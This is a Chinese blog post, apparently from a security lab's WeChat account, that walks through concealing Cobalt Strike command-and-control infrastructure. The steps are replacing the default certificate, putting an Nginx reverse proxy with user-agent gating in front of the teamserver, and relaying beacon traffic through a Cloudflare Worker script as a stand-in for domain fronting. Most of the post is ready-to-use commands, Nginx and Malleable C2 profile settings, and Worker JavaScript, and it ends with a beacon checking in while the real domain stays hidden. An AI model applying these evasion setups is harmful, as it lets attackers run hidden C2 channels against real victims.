0x00 前言
上上期小记了一次利用CDN平台和free域名的Cobalt Strike隐匿方法。本次小记一下域前置配合Nginx反向代理进行Cobalt Strike隐匿。
0x01 去特征的几种简单方法
-
去除证书特征
cs的默认证书是肯定会被秒杀,生成一个新的证书来使用,使用keytool(Java数据证书的管理工具),它将key和certificates储存到keystore文件中
keytool -keystore CobaltStrike.store -storepass 123cvg -keypass 123cvg -genkey -keyalg RSA -alias baidu.com -dname "CN=China, OU=Tencent, O=Tencent, L=Tencent, ST=Tencent, C=Tencent"
-
keytool的常用语法
命令:
------生成证书时可以用如下几个------
-alias 指定别名
-storepass 指定更改密钥库的存储口令
‐keypass pass 指定更改条目的密钥口令
-keyalg 指定算法
-dname 指定所有者信息
---------------------------------
‐certreq 生成证书请求
‐changealias 更改条目的别名
‐delete 删除条目
‐exportcert 导出证书
‐genkeypair 生成密钥对
‐genseckey 生成密钥
‐gencert 根据证书请求生成证书
‐importcert 导入证书或证书链
‐importpass 导入口令
‐importkeystore 从其他密钥库导入一个或所有条目
‐keypasswd 更改条目的密钥口令
‐list 列出密钥库中的条目
‐printcert 打印证书内容
‐printcertreq 打印证书请求的内容
‐printcrl 打印 CRL 文件的内容
‐storepasswd 更改密钥库的存储口令
-
未修改前
-
使用生成的证书
-
修改默认启动端口
在teamserver中直接修改默认端口即可
0x02 部署Nginx反向代理
1、一键安装Nginx
apt install nginx
2、修改Nginx.conf文件
-
添加如下内容
server{
server_name cs.xxxx.tk;
listen 2096 ssl;
root /usr/share/nginx/html;
location ~*/jquery {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {return 302;}
proxy_pass https://127.0.0.1:8443;
}
将访问jquery-3.3.2.slim.min.js规定给仅有指定头才能反向代理到8443端口,这里我用的是jquery-c2.4.4.profile,ua头就设置配置文件中的ua头
-
坑点①
在我设置好之后,发现报错,原因是没有注释掉默认文件中的server,注释了就行了
还有一行root ,以及最后闭合括号也要注释掉
0x03 申请https证书
-
在cloudflare中可以免费申请
-
使用的域名要是你的conf中配置的域名,也可以直接生成覆盖域的证书
-
这里默认的pem
-
将Certificate和Key分别存到sss.pem和ssk.pem
0x04 Nginx启用证书
-
conf配置文件,添加如下内容
ssl_certificate "/home/cs4.4/pem/sss.pem";
ssl_certificate_key "/home/cs4.4/pem/ssk.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 1440m;
0x05 为cs生成配置证书
-
用如下两个命令,-in后跟证书,-inkey跟秘钥
openssl pkcs12 -export -in sss.pem -inkey ssk.pem -out sb.ljw.p12 -name sb.ljw -passout pass:123cvb
keytool -importkeystore -deststorepass 123cvb -destkeypass 123cvb -destkeystore sb.ljw.s
-
将生成的证书放到cs目录下
-
在配置文件的Malleable C2 profile中配置证书
set keystore “sb.ljw.store”;
set password “123cvb”;
-
坑点②:
记得要开启ssl,就在监听的端口后跟上ssl即可
0x06 尝试启动CS设置listener
-
这里就可以使用https协议来监听了
上线端口设置成反向代理过来的端口,监听端口设置Nginx监听的端口
-
配置iptables规则,只允许127.0.0.1访问
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP
-
这里测试发现连接不上
0x07 配置cloudflare-worker
-
因为cloudflare不支持域前置,所以用这个代替,类似于域前置的一个作用
-
创建一个服务
-
输入一个你喜欢的名字
-
快速编辑
-
写入js脚本
let upstream = 'https://xxx.xxx.tk'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
-
这里需要设置X-Forwarded-For头,不然上线的地址会是woker的ipv6的地址
new_request_headers.set("X-Forwarded-For", ipAddress);
-
测试发包返回是否正常
-
保存并部署
-
手动访问发现无异常
至此,之后通信的请求都是通过xxx.dev,隐藏真实域名。并且shellcode通信地址也是cloudflare的ip
0x08 Cobalt Strike上线
-
设置listener
-
访问8443端口的jquery-3.3.2.slim...js是可以访问到的
-
Cobalt Strike上线主机
-
beacon命令不回显问题解决
修改配置文件头为如下即可解决
header "Content-Type" "application/*; charset=utf-8";
-
wireshark抓取流量查看,发现通信地址是xxxx.xxx.dev,成功隐匿域名
-
shellcode的通信地址也为cloudflare的地址
免责声明
由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(NGC660安全实验室):域前置配合Nginx反代隐匿Cobalt Strike
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论